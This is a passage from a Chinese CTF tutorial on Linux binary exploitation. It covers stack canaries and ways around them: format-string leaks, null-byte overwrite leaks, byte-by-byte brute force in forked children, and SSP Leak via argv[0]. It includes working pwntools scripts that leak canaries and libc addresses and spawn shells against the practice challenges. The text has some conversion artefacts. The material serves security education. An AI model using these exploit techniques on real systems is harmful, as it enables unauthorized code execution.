CTF必備技能丨Linux Pwn入門教程——stack canary與繞過的思路

Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python

 

課程回顧>>linux

Linux Pwn入門教程第一章:環境配置shell

Linux Pwn入門教程第二章:棧溢出基礎編程

Linux Pwn入門教程第三章:ShellCode安全

Linux Pwn入門教程第四章:ROP技術(上)服務器

Linux Pwn入門教程第四章:ROP技術(下)app

Linux Pwn入門教程第五章:調整棧幀的技巧less

Linux Pwn入門教程第六章:利用漏洞獲取libc函數

Linux Pwn入門教程第七章:格式化字符串漏洞

Linux Pwn入門教程第八章:PIE與bypass思路

今天i春秋與你們分享的是Linux Pwn入門教程第九章:stack canary與繞過的思路,閱讀用時約15分鐘。

canary簡介

咱們知道,一般棧溢出的利用方式是經過溢出存在於棧上的局部變量,從而讓多出來的數據覆蓋ebp、eip等,從而達到劫持控制流的目的。然而stack canary這一技術的應用使得這種利用手段變得難以實現。canary的意思是金絲雀,來源於英國礦井工人用來探查井下氣體是否有毒的金絲雀籠子。工人們每次下井都會帶上一隻金絲雀若是井下的氣體有毒,金絲雀因爲對毒性敏感就會中止鳴叫甚至死亡,從而使工人們獲得預警。

這個概念應用在棧保護上則是在初始化一個棧幀時在棧底設置一個隨機的canary值,棧幀銷燬前測試該值是否「死掉」,便是否被改變,若被改變則說明棧溢出發生,程序走另外一個流程結束,以避免漏洞利用成功。

當一個程序開啓了canary保護時,使用checksec腳本檢查會出現如下結果:

 

 

能夠看到Stack一行顯示Canary found。此外,在函數棧幀初始化時也會在棧上放置canary值而且在退出前驗證。

 

 

 

很顯然,一旦咱們觸發棧溢出漏洞,除非能猜到canary值是什麼,不然函數退出的時候必然會經過異或操做檢測到canary被修改從而執行stack_chk_fail函數。所以,咱們要麼想辦法獲取到canary的值,要麼就要防止觸發stack_chk_fail,或者利用這個函數。

 

泄露canary

首先咱們要介紹的方法是泄露canary。很顯然,這個方法就是利用漏洞來泄露出canary的值,從而在棧溢出時在payload里加入canary以經過檢查。首先咱們來看一下使用格式化字符串泄露canary的狀況。

打開例子~/insomnihack CTF 2016-microwave/microwave。這個程序的流程看起來有點複雜,並且文章開頭的checksec結果顯示它開了一大堆保護。可是程序中存在着兩個漏洞,分別是功能1中的一個格式化字符串漏洞和功能2中的一個棧溢出漏洞。

 

 

 

 main函數中使用fgets獲取的輸入被做爲參數傳遞給sub_F00,而後使用__printf_chk直接輸出,存在格式化字符串漏洞,能夠泄露內存。

 

 

 功能2調用sub_1000,其中read讀取了過多字符,能夠形成棧溢出。

在以前的文章中咱們提到過FORTIFY對於格式化字符串漏洞的影響,也就是說這個程序咱們沒法使用%n修改任何內存,因此咱們能用來劫持程序執行流程的漏洞顯然只有棧溢出。這個時候咱們就須要用到格式化字符串漏洞來泄露canary了。

首先咱們調試一下這個程序,讓程序執行到call __printf_chk一行並查看寄存器和棧的狀況,看一下咱們能夠泄露哪些東西。

 

 

 

 

 

結合調試和對內存的分析,咱們不難發現泄露出來的第一個數據能夠直接用來計算libc在內存中的地址(固然你也能夠選擇用下面的stdout和stdin),而第6個數據就是canary,所以咱們就能夠構造腳本泄露地址並利用其計算one gadget RCE的地址。

io.sendline('1') #使用功能1觸發格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密碼硬編碼在程序中,能夠直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.') 
leak_libc = int(leak_data[0], 16)
one_gadget_addr = leak_libc - 0x3c3760 + 0x45526 #計算one gadget RCE地址
canary = int(leak_data[5], 16)
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))

而後咱們進入功能2觸發棧溢出漏洞,調試發現canary和rip中間還隔着8個字節。

 

 

 據此咱們就能夠寫出腳本getshell了。

from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote('172.17.0.2', 10001)
io.sendline('1') #使用功能1觸發格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密碼硬編碼在程序中,能夠直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.') 
leak_libc = int(leak_data[0], 16)
one_gadget_addr = leak_libc - 0x3c3760 + 0x45526 #計算one gadget RCE地址
canary = int(leak_data[5], 16)
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))
payload = "A"*1032 #padding
payload += p64(canary) #正確的canary
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有棧溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)
sleep(0.5) 
io.interactive()

固然,並非全部有canary的程序都能那麼幸運地有一個格式化字符串漏洞,不過咱們還能夠利用棧溢出來泄露canary。咱們再來看一下另外一個例子~/CSAW Quals CTF 2017-scv/scv。

這是一個用C++寫成的64位ELF程序,因此IDA F5插件看起來有點混亂,可是很顯然仍是能看出來主要的功能的。

 

 

 

結合運行的結果,咱們很容易判斷出功能1可能會有問題。

 

 

 經過調試咱們不難發現這個程序確實存在棧溢出,可是問題選項123都位於main函數的死循環裏,只有選項3會退出循環,從而在main函數結束時觸發棧溢出漏洞。此外,咱們尚未找到canary的值,怎麼辦呢?咱們觀察選項2,發現選項2是輸出咱們的輸入。所以,咱們能夠經過溢出的字符串接上canary值,從而在輸出的時候把canary的值「帶」出來。

 

 

 很容易計算出來咱們須要輸入的字節是168個.......且慢!咱們知道字符串是以\x00做爲結尾的。canary這一保護機制的設計者顯然也考慮到了canary被誤泄露的可能性,所以強制規定canary的最後兩位必須是00.這樣咱們在輸出一個字符串的時候就不會由於字符串不當心鄰接到canary上而意外泄露canary了。因此,咱們這裏必須在168的基礎上+1,把這個00覆蓋掉,從而讓canary的其他部分被視爲咱們輸入的字符串的一部分。

 

 這個時候咱們使用功能2,就會帶出canary的值了。注意到後面的亂碼裏有個7,對應的0x37就是canary的一部分。

 

 

 而後咱們就能夠經過leak的canary過掉canary保護並開啓shell了。本例子的腳本可見於附件,此處再也不貼出,注意寫腳本泄露canary時能夠把padding字符串的最後幾個字符修改爲其餘字符(如「ABCDE」),以便於經過io.recvuntil( )進行定位,防止截取canary出現問題。

除了經過上述的這兩種方法來leak canary以外,程序中也可能出現其餘能夠leak canary的方法,不要拘泥於形式的約束。

 

多進程程序的canary爆破

canary之因此被認爲是安全的,是由於對其進行爆破成功率過低。以32爲例,除去最後一個\x00,其可能值將會是0x100^3=16777216(實際上因爲canary的生成規則會小於這個值),64位下的canary值更是遠大於這個數量級。

此外,一旦canary爆破失敗,程序就會當即結束,canary值也會再次更新,使得爆破更加困難。可是,因爲同一個進程內全部的canary值都是一致的,當程序有多個進程,且子進程內出現了棧溢出時,因爲子進程崩潰不會影響到主進程,咱們就能夠進行爆破。甚至咱們能夠經過逐位爆破來減小爆破時間。

咱們看一下例子~/NSCTF 2017-pwn2/pwn2。

 

 

 main函數有一個簡單的判斷,輸入Y後會fork一個子進程出來,子進程執行函數sub_80487FA,在這個函數中存在一個格式化字符串漏洞和一個棧溢出漏洞。

 

 

 其實這邊利用格式化字符串漏洞就能夠泄露canary的值,不過爲了學習爆破canary的方式,咱們仍是老老實實爆破。咱們先調試一下這個程序:

 

 

 調試的時候發現了一個問題,IDA調試的進程因爲是父進程,pid大於0,進程會執行到call _wait等待子進程結束。此時雖然咱們沒有辦法觀察到子進程內部代碼的執行過程,怎麼辦呢?

對此,咱們的解決辦法是attach子進程。咱們先按照attach下斷點的規矩,在輸入的後面,即在地址0x080487b8上下個斷點,而後在shell中運行程序。

 

 

 根據程序的流程,輸入Y以後這個進程就會fork一個子進程,此時咱們使用IDA attach。

 

 

 問題來了,有兩個./pwn2,咱們attach哪一個呢?因爲子進程的ID比父進程大,咱們應該attach的是ID爲67的那個。此時咱們就成功地進入了子進程中。

 

 

 接下來就是經過格式化字符串漏洞泄露libc中的某個地址,並計算棧溢出到canary的字節數了,這一過程咱們再也不贅述。

如今咱們已經得到了想要的信息,接下來就是寫腳本爆破canary了。咱們爆破的思想是逐位爆破,即在padding以後每次修改一位canary字節。顯然,這個範圍就縮小到了0x00-0xFF共256個字節。一旦這個字節猜對了,canary就等因而沒有被改變過,因而程序成功經過檢測。因此咱們須要觀察一下猜想對和錯時程序輸出的不一樣。

 

 

 咱們能夠看到,當canary猜錯時只有一個Do you love me?[Y],而不是猜對的兩個(stack smashing detected一般不會輸出到stdout或stderr,不能用來進行判斷,咱們會在下一節解釋)。因此咱們寫腳本以下:

canary = '\x00'
for i in xrange(3):
 for j in xrange(256):
 io.sendline('Y')
 io.recv()
 io.sendline('%19$p') #泄露棧上的libc地址
 io.recvuntil('game ')
 leak_libc_addr = int(io.recv(10), 16)
 io.recv()
 payload = 'A'*16 #構造payload爆破canary
 payload += canary
 payload += chr(j)
 io.send(payload)
 io.recv()
 if ("" != io.recv(timeout = 0.1)): #若是canary的字節位爆破正確,應該輸出兩個" Do you love me?",所以經過第二個recv的結果判斷是否成功
 canary += chr(j)
 log.info('At round %d find canary byte %#x' %(i, j))
 break
log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))

運行輸出以下:

 

 

 爆破canary成功,據此咱們就能夠寫腳本getshell了。

 

SSP Leak

除了經過各類方法泄露canary以外,咱們還有一個可選項——利用__stack_chk_fail函數泄露信息。這種方法做用不大,沒辦法讓咱們getshell。可是當咱們須要泄露的flag或者其餘東西存在於內存中時,咱們可使用一個棧溢出漏洞來把它們泄露出來。這個方法叫作SSP(Stack Smashing Protect) Leak。

在開始以前,咱們先來回顧一下canary起做用到程序退出的流程。首先,canary被檢測到修改,函數不會通過正常的流程結束棧幀並繼續執行接下來的代碼,而是跳轉到call __stack_chk_fail處,而後對於咱們來講,執行完這個函數,程序退出,屏幕上留下一行*** stack smashing detected ***:[XXX] terminated。

這裏的[XXX]是程序的名字。很顯然,這行字不可能憑空產生,確定是__stack_chk_fail打印出來的。並且,程序的名字必定是個來自外部的變量(畢竟ELF格式裏面可沒有保存程序名)。既然是個來自外部的變量,就有修改的餘地。咱們看一下__stack_chk_fail的源碼,會發現其實現以下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
 __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
 /* The loop is added only to keep gcc happy. */
 while (1)
 __libc_message (2, "*** %s ***: %s terminated\n",
 msg, __libc_argv[0] ?: "<unknown>");
}

咱們看到__libc_message一行輸出了*** %s ***: %s terminated\n。這裏的參數分別是msg和__libc_argv[0]。char *argv[]是main函數的參數,argv[0]存儲的就是程序名,且這個argv[0]就存在於棧上。因此SSP leak的玩法就是經過修改棧上的argv[0]指針,從而讓__stack_chk_fail被觸發後輸出咱們想要知道的東西。

首先咱們來看一個簡單的例子~/RedHat 2017-pwn5/pwn5.這個程序會把flag讀取到一塊名爲flag的全局變量中,而後調用vul函數。

 

 

 vul函數中有一個棧溢出漏洞

 

 

 很顯然,這個題目除了棧溢出沒有任何漏洞利用方法,而棧溢出又被canary把守着。可是,flag在內存中的位置是固定的,咱們就可使用SSP Leak。咱們先在判斷canary的地方打個斷點,經過人爲修改寄存器edx使程序進入__stack_chk_fail,而後看一下argv[0]在哪。

 

 

 到call __stack_chk_fail的時候咱們F7跟進,一直F7到此處。

 

 

 這一段代碼其實是處理符號綁定的代碼,咱們選中retn 0Ch一行後F4,而後F7就到了__stack_chk_fail。

 

 

 call near ptr一行其實並無什麼有用的代碼,真正的主體部分在call __fortify_fail,咱們跟進這個函數。

 

 

 若是你尚未看出來這是什麼的話,不妨按一下F5,你就會發現這就是本節開頭咱們貼的那一段代碼。

 

 

 顯然,__libc_message對應了那個函數指針unk_F7E3ACE0,而argv[0]對應的則是v7,咱們切到彙編窗口下,根據參數的入棧順序可知argv[0]最後存在的寄存器是eax。

 

 

 那麼這個eax從哪裏來呢,對比僞代碼和彙編咱們能夠發現,<unknown>這個字符串的地址最終被放進了地址esp+1Ch+var_10,而後eax從(off_F7F8C5F0-0F7F89000h)[ebx]從取值,若是是空則把<unknown>放回去。因此argv[0]從哪取值不言而喻。咱們來看一下(off_F7F8C5F0-0F7F89000h)[ebx]指到了哪裏。

我得認可,這行代碼我真的看不太懂,因此我在Options->General...裏設置了一下Number of opcode bytes (non-graph)的值爲8,好觀察它的opcode,顯示以下:

 

 

 而後我查了一下opcode表和相關資料,顯示8B是MOV r16/32/64 r/m16/32/64,第二個字節83,對照這個表格。

 

 

 因爲咱們的程序是32位,顯然對應的是mov eax, ebx+disp32的形式。此時咱們把ebx=F7F89000加上opcode後面的數(注意大端序)0x000035f0,結果就是F7F8C5F0.因此,(off_F7F8C5F0-0F7F89000h)[ebx]就是取ebx的值,而後加上偏移(0xF7F8C5F0-0xF7F89000),0XF7F89000仍是ebx的值,因此答案就是這行代碼會把地址F7F8C5F0給eax。接下來的代碼則是取出地址F7F8C5F0的值給eax,若這個值是空則設置eax爲<unknown>。咱們來看一下F7F8C5F0:

 

 

 這個地址裏保存的值是FF874AA4,指向棧中的一個位置,而這個位置保存着程序名字pwn5。

 

 

 咱們不難找到輸入所在的位置。

 

 這樣咱們就能夠算出來偏移了,而且能夠本地測試一下證實SSP leak起了做用。

 

 

 到了這一步,其實咱們已經算是講清楚SSP leak的玩法了——計算偏移,用地址覆蓋argv[0]。一般來講,這能解決大部分問題。然而咱們不該知足於此,咱們繼續來看一下這種題目會怎麼部署,並引伸出一種更高級的題目佈置和玩法。

咱們用socat把題目搭建起來,發現腳本失效,io.recv( )讀不到輸出,輸出只能在socat所在的服務器端顯示:

 

 

 若是你有一點Linux基礎知識和編程經驗,你應該知道Linux的「一切皆文件」思想,Linux的頭三個文件描述符0, 1, 2分別被分配給了stdin,stdout,stderr。前二者很好理解,最後的stderr,顧名思義,是錯誤信息輸出的地方。那麼是否是由於*** stack smashing detected ***被輸出到了stderr,因此socat不會轉發到端口上被咱們讀取到呢?咱們試一下加上參數stderr。

 

 

 仍是不行。顯然,咱們須要繼續挖掘__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");這行代碼。

咱們查看__libc_message( )這個函數的實現:

void
__libc_message (int do_abort, const char *fmt, ...)
{
 va_list ap;
 va_list ap_copy;
 int fd = -1;
.......................//爲節省篇幅省略部分無關代碼,下同
 /* Open a descriptor for /dev/tty unless the user explicitly
 requests errors on standard error. */
 const char *on_2 = __secure_getenv ("LIBC_FATAL_STDERR_");
 if (on_2 == NULL || *on_2 == '\0')
 fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
 if (fd == -1)
fd = STDERR_FILENO;
...........................
}

這個函數在運行的時候會去搜索一個叫作「LIBC_FATAL_STDERR_」的環境變量,若是沒有搜索到或者其值爲‘\x00’,則把輸出的fd設置爲TTY,不然纔會把fd設置成STDERR_FILENO,即錯誤輸出到stderr,因此咱們部署的時候須要給shell設置環境變量。

 

 

 此時咱們再用加了參數stderr的命令搭建題目,測試成功。

 

 

 關於這種利用方法,附帶的練習題中還有一個32C3 CTF的readme。這個題目在部署的時候不須要設置環境變量,而是經過修改環境變量指針指向輸入的字符串來泄露flag。(Tips: 指向環境變量的指針就在指向argv[0]的指針往下兩個地址)

 

其餘繞過思路

以上內容只是介紹了幾種較爲常見的繞過canary的方法,事實上,canary這一保護機制還有不少的玩法。例如能夠經過修改棧中的局部變量,從而控制函數中的執行流程達到任意地址寫(0CTF 2015的flaggenerator),直接「挖」到canary產生的本源——AUXV(Auxiliary Vector),並修改該結構體從而使canary值可控(TCTF 2017 Final的upxof),等等。套路是有限的,知識是無窮的。

以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。

相關文章
相關標籤/搜索